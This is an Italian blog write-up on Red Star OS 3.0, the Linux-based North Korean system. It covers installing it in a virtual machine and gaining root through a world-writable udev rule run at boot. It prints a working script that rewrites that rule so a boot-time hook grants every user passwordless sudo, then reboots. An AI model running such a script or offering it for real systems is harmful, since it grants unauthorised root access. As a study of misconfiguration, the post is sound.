venerdì 29 gennaio 2016

Hacking Red Star 3.0

Red Star e' un sistema operativo basato su Linux, probabilmente da una Fedora, creato da governo della Nord Corea con l'evidente scopo di tracciare e limitare le attivita' online dei propri utenti,
La notizia della fuga della iso del sistema operativo e' piuttosto vecchiotta cosi' come il sistema per hackerare il sistema ma e' un ottimo esempio di come si puo', su un sistema solido come Linux, effettuare una scalata di privilegi con metodi banali (ovvero senza ricorrere a buffer overflow od exploit particolari) basandosi su una pessima configurazione del sistema

La iso puo' essere scaricata da questo link

Finestra di Login di RedStar

Attenzione : e' fortemente consigliato di giocare con RedStar soltanto all'interno di una macchina virtuale disconnettendo l'interfaccia di rete virtuale ed evitando qualsiasi tipo di condivisione con il filesystem reale o chiavette USB reali (Red Star effettua di nascosto un watermark di tutti i file che scansiona)

Il primo ostacolo che si incontra nella installazione della iso e' che e' tutta (ovviamente) in coreano quindi bisogna andare un po' a caso. Essendo comunque solo una traduzione e non una modifica del procedimento base e' piuttosto semplice concludere il processo

Schermata dell'installazione

A questo punto ho provato a raggiungere una shell. Usando le combinazioni di tasti CTRL+ALT+Fx si ha che su F1 si ha una shell testuale ma a cui non si puo' effettuare il login mentre su F2 si ha X, nessuna altra shell virtual


In realta' frugando nei menu si trova un Xterm. Si deve cliccare sull'icona in basso per aprire il menu dei programmi.


Poi cliccando sulla quarta icona da sinistra nella riga piu' in alto della finestra soprastante (icona del folder verde) si accede alla schermata sottostante


Si clicca sul folder con martello e chiave (che dovrebbe essere qualcosa tipo Utility) e si arriva finalmente all'icona del terminale


Una volta ottenuta la shell si ha il problema che digitando sulla tastiera compaiono caratteri coreani ed e' quindi impossibile digitare i comandi Unix. La soluzione e' quella di premere a lungo e rilasciare il tasto Alt-Gr, a questo punto dovrebbero comparire i caratteri latini e si puo' procedere

e qui inizia la vera e propria scalata dei privilegi
la debolezza del sistema risiede tutta nella cattiva configurazione dei permessi nel file /etv/udev/rules.d/85-hpjl10xx.rules che e' settato come 777
RedStar e' impostato per impedire l'esecuzione di file di sistema ed ovviamente l'utente normale non puo' utilizzare sudo. Pero' il file in esame viene eseguito in fase di boot come root/admin.
Il gioco sta semplicemente nel modificare il file (perche' e' comunque scrivibile) e riavviare il computer per eseguire i comandi aggiunti per prendere il controllo della macchina



lo script (trovato qui) e' il seguente
semplicemente vengono aggiunti tutti gli utenti alla lista sudoers .. di una semplicita' disarmante
---------------------------------------------
 #!/bin/bash -e
 cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
 echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
 cat <<EOF >/tmp/r00t.sh
 echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
 mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
 chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
 rm /tmp/r00t.sh
 EOF
 chmod +x /tmp/r00t.sh
 echo "sudo will be available after reboot"
 sleep 2
 reboot
---------------------------------------------